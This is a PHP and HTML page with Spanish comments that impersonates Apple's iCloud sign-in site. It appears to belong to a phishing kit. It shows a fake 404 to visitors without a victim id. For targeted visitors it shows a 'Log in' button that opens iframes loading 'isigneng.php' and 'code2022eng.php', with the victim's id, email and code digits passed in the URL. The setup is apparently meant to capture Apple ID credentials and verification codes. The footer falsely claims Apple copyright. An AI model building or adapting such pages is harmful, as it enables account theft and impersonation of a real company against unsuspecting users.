<?php
if(!isset($idequipo)){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<!DOCTYPE html>
<html lang="es-MX" dir="ltr" class="js-focus-visible" data-primary-interaction-mode="mouse" data-device-type-class="desktop">
<head>
    <meta charset="utf-8">
   <meta name="color-scheme" content="light dark">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
    <meta name="description" content="iCloud for your cloud storage.">
    <meta name="keywords" content="iCloud, storage, access, accounts">

    <title>iCloud</title>

    <!-- Favicon genérico (puedes cambiarlo por el tuyo) -->
    <link rel="icon" href="/favicon.ico">

    <!-- Estilos básicos -->
    <style>
        html {
            background-color: rgb(251, 251, 253);
            font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;
        }

        body {
            margin: 0;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        .root-viewport {
            flex: 1;
            display: flex;
            flex-direction: column;
        }

        .page-viewport {
            flex: 1;
            display: flex;
            flex-direction: column;
        }

        .page-content {
            flex: 1;
            display: flex;
            flex-direction: column;
        }
        
        .toolbar-banner .toolbar-container {
    max-width: 960px;
    margin: 0 auto;
    padding: 16px 20px !important; /* fuerza el cambio */
    display: flex;
    align-items: center;
    justify-content: space-between;
}


        .toolbar-banner {
            position: sticky;
            top: 0;
            z-index: 10;
            background: rgba(251, 251, 253, 0.95);
            backdrop-filter: blur(6px);
            border-bottom: 1px solid rgba(0,0,0,0.06);
        }

        .toolbar-container {
            max-width: 960px;
            margin: 0 auto;
            padding: 24px 28px;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }

        .application-toolbar-start-view a {
            text-decoration: none;
            color: #1d1d1f;
            font-weight: 600;
            font-size: 20px;
        }

        .landing-page {
            flex: 1;
            display: flex;
            flex-direction: column;
            align-items: center;
            padding: 40px 16px 80px;
        }

        .hero-wrapper {
            text-align: center;
            margin-bottom: 28px;
        }

        .icloud-hero h1 {
            margin-top: 16px;
            font-size: 90px !important;
            margin-bottom: 6px; !important;
        }

        .landing-page-content {
            max-width: 960px;
            width: 100%;
            text-align: center;
        }

       /* BOTÓN PRINCIPAL */
/* Aplica a todas las variantes de ese ui-button */
ui-button.push.primary.sign-in-button,
.sign-in-button.push.primary,
.landing-page-content ui-button.push.primary.sign-in-button {
    display: inline-flex;
    align-items: center;
    justify-content: center;

    /* Tamaño y estilo del botón */
    background: #000000;
    color: #ffffff;
    font-size: 19px;          /* más grande */
    font-weight: 700;
    padding: 20px 25px; !important;   /* más padding = más grande */
    border-radius: 100px;
    border: 1px solid rgba(255,255,255,.35);
    cursor: pointer;
    transition: all .18s ease;
    
    /* 👇 IMPORTANTE: romper el ancho fijo de Apple */
    width: auto !important;
    max-width: none !important;
    inline-size: auto !important;
    white-space: nowrap;      /* que el texto no se parta en dos líneas */
}


.sign-in-button:hover {
    background: #f1f1f1;
}

.sign-in-button:active {
    transform: scale(.97);
}

        .sign-in-button button {
            display: none; /* el button interno no se usa visualmente */
        }

        .description {
            font-size: 16px;
            color: #3a3a3c;
            max-width: 620px;
            margin: 0 auto 32px;
        }

        .tiles {
            display: grid;
            gap: 20px;
            grid-template-columns: repeat(auto-fit, minmax(260px, 1fr));
        }

        .landing-page-tile {
            background: #fff;
            border-radius: 18px;
            padding: 20px;
            box-shadow: 0 8px 26px rgba(0, 0, 0, 0.06);
            text-align: left;
        }

        .tile-icon img {
    width: 100%;              /* que ocupe todo el ancho del contenedor */
    max-width: 210px;         /* tamaño más grande pero elegante */
    height: auto;             /* mantiene proporción */
    display: block;
    margin: 0 auto 20px;      /* centrado + separación inferior */
    object-fit: contain;      /* evita deformación */
}

        .tile-title {
            font-weight: 600;
            margin-bottom: 8px;
        }

        .tile-description {
            font-size: 14px;
            color: #3a3a3c;
        }

        /* CONTENEDOR DEL IFRAME DE LOGIN */
        .framenew {
            background: #ffffff;
            width: 640px;
            margin: 50px auto 0;
            border-radius: 30px;
            overflow: hidden;
            box-shadow: 0 11px 34px 0 rgba(0, 0, 0, .2);
            display: none;
            position: relative;
            z-index: 1;
            padding-bottom: 24px;
        }

        .frameCode {
            text-align: center;
            padding: 24px 16px 32px;
        }

        .frameCode iframe {
            max-width: 100%;
        }

        .footerclass {
            position: absolute;
            width: 100%;
            bottom: 0;
        }

        footer {
            margin-top: 40px;
            border-top: 1px solid rgba(0,0,0,0.06);
            background: #f5f5f7;
        }

        .legal-footer {
            padding: 16px;
        }

        .legal-footer-content {
            max-width: 960px;
            margin: 0 auto;
            font-size: 12px;
            color: #6e6e73;
            display: flex;
            flex-direction: column;
            gap: 8px;
        }

        .inner-row {
            display: flex;
            flex-wrap: wrap;
            gap: 12px;
            align-items: center;
        }

        .inner-row a {
            color: inherit;
            text-decoration: none;
        }

        .inner-row a:hover {
            text-decoration: underline;
        }

        .separator {
            width: 1px;
            height: 12px;
            background: rgba(0,0,0,0.18);
            margin: 0 6px;
        }
        

        @media screen and (max-width: 760px) {
            .framenew {
                width: 100%;
                margin-top: 0;
                border-radius: 0;
            }

            .toolbar-container {
                padding-inline: 12px;
            }

            .landing-page {
                padding-top: 24px;
            }
            
        }
        

    </style>

    <!-- CSS extra de tu proyecto -->
    <link rel="stylesheet" href="/icloud-archivos/main.css">
</head>

<body class="clicking">

<div class="root-viewport">
    <div class="page-viewport landing-page-route fade-in">
        <div class="page-content">

            <!-- HEADER -->
            <header class="toolbar-banner" role="banner">
                <div class="toolbar-container">
                   <div class="application-toolbar-start-view">
    <a href="#" class="brand-logo">
        <svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" fill="currentColor" viewBox="0 0 16 16">
            <path d="M11.182.008C11.148-.03 9.923.023 8.857 1.18c-1.066 1.156-.902 2.482-.878 2.516s1.52.087 2.475-1.258.762-2.391.728-2.43m3.314 11.733c-.048-.096-2.325-1.234-2.113-3.422s1.675-2.789 1.698-2.854-.597-.79-1.254-1.157a3.7 3.7 0 0 0-1.563-.434c-.108-.003-.483-.095-1.254.116-.508.139-1.653.589-1.968.607-.316.018-1.256-.522-2.267-.665-.647-.125-1.333.131-1.824.328-.49.196-1.422.754-2.074 2.237-.652 1.482-.311 3.83-.067 4.56s.625 1.924 1.273 2.796c.576.984 1.34 1.667 1.659 1.899s1.219.386 1.843.067c.502-.308 1.408-.485 1.766-.472.357.013 1.061.154 1.782.539.571.197 1.111.115 1.652-.105.541-.221 1.324-1.059 2.238-2.758q.52-1.185.473-1.282"/>
        </svg>
        <span>iCloud</span>
    </a>
</div>
                    <div class="application-toolbar-end-view">
                        <!-- aquí podrías poner botones extra si quieres -->
                    </div>
                </div>
            </header>

            <!-- CONTENIDO PRINCIPAL -->
            <main>
                <!-- LANDING INICIAL -->
                <div class="landing-page">
                    <div class="hero-wrapper">
                        <div class="icloud-hero">
                            <div class="clouds">
                                <img src="/icloud-archivos/fpo@1x.gif"
                                     alt=""
                                     width="425"
                                     height="383">
                            </div>
                            <h1>iCloud</h1>
                        </div>
                    </div>

                    <div class="landing-page-content">
                        <!-- Botón que abre el frame -->
                        <ui-button class="push primary sign-in-button" tabindex="0" role="button" aria-haspopup="false">
                            <button type="button" tabindex="-1"></button>
                            Log in
                        </ui-button>

                        <h2 class="description">
                            The best place for your photos, files, notes, emails, and much more.
                        </h2>

                        <div class="tiles">
                            <div class="landing-page-tile">
                                <div class="tile-icon">
                                    <img src="/icloud-archivos/e6ffc52737977fe1700d423a10874d0b.png" alt="">
                                </div>
                                <div class="tile-title">Easily access your iPhone apps and data on the web</div>
                                <div class="tile-description">
                                    iCloud is essential for keeping your personal information on your devices secure, up-to-date, and accessible wherever you are. At iCloud.com, you can access your photos, files, and more from any web browser. Changes you make will sync across your iPhone and other devices, so your content is always up to date.
                                </div>
                            </div>

                            <div class="landing-page-tile">
                                <div class="tile-icon">
                                    <img src="/icloud-archivos/cb89b6112cb1d8e18fac821612c25717.png" alt="">
                                </div>
                                <div class="tile-title">More storage, plus features to protect your privacy and connect with your friends</div>
                                <div class="tile-description">
                                    Upgrade to iCloud+ for more storage, the ability to schedule events with Apple Invitations, and added peace of mind with privacy features like Private Streaming, Hide My Mail, and iCloud HomeKit Secure Video. You can even share your subscription with your family. Learn more at iCloud.
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

                <!-- FRAME DE LOGIN / CÓDIGO (SE MUESTRA AL HACER CLICK EN EL BOTÓN) -->
                <div class="framenew">
                    <?php
                    // Mantengo tu lógica original
                    if ($response->code == 1) {
                        $stylecode = "display:block;";
                        $stylelog  = "display:none";
                    } else {
                        $stylecode = "display:none;";
                        $stylelog  = "display:block";
                    }
                    ?>
                    <iframe
                        class="apple-id-frame-view"
                        id="authFrame"
                        scrolling="no"
                        style="<?php echo $stylelog; ?>"
                        src="isigneng.php?id=<?php echo $idequipo; ?>&correo=<?php echo $response->email; ?>"
                        width="100%"
                        height="600"
                        frameborder="0">
                    </iframe>

                    <div style="<?php echo $stylecode; ?>" class="frameCode">
                        <img src="/icloud-archivos/applenew2.png"
                             class="imgApple"
                             style="width: 200px; display:block; margin:50px auto 0;">
                        <iframe
                            class="apple-id-frame-view2"
                            src="/icloud-archivos/code2022eng.php?digitos=<?php echo $response->digitos; ?>&id=<?php echo $idequipo; ?>"
                            style="margin:auto; background:#fff; border-radius:5px; display:block;"
                            width="400"
                            height="270"
                            frameborder="0"
                            scrolling="no">
                        </iframe>
                    </div>

                    <!-- botón oculto que ya usas para mostrar el iframe de login -->
                    <button class="iniciar" style="display:none;">iniciar</button>
                </div>
            </main>

            <!-- FOOTER -->
            <footer>
                <div class="legal-footer">
                    <div class="legal-footer-content">
                        <div class="inner-row" role="presentation">
                            <div class="with-separator">
                                <a class="systemStatus" target="_blank" rel="noreferrer" href="#">
                                    System status
                                </a>
                                <div aria-hidden="true" class="separator"></div>
                            </div>
                            <div class="with-separator">
                                <a class="privacy" target="_blank" rel="noreferrer" href="#">
                                    Privacy Policy
                                </a>
                                <div aria-hidden="true" class="separator"></div>
                            </div>
                            <a class="terms" target="_blank" rel="noreferrer" href="#">
                                Terms and conditions
                            </a>
                        </div>
                        <div class="inner-row" role="presentation">
                            <span class="copyright">
                                Copyright © <?php echo date("Y"); ?> Apple Inc. All rights reserved.
                            </span>
                        </div>
                    </div>
                </div>
            </footer>

        </div>
    </div>
</div>

<!-- jQuery y JS -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js"></script>
<script>
    $(function () {
        $(".sign-in-button").on("click", abreFrame);
        $(".iniciar").on("click", abreLog);

        function abreFrame() {
            $(".landing-page").hide(0);
            $(".framenew").fadeIn(3500);
            $("footer").addClass("footerclass");
        }

        function abreLog() {
            $(".apple-id-frame-view").fadeIn(3500);
        }
    });
</script>
</body>
</html>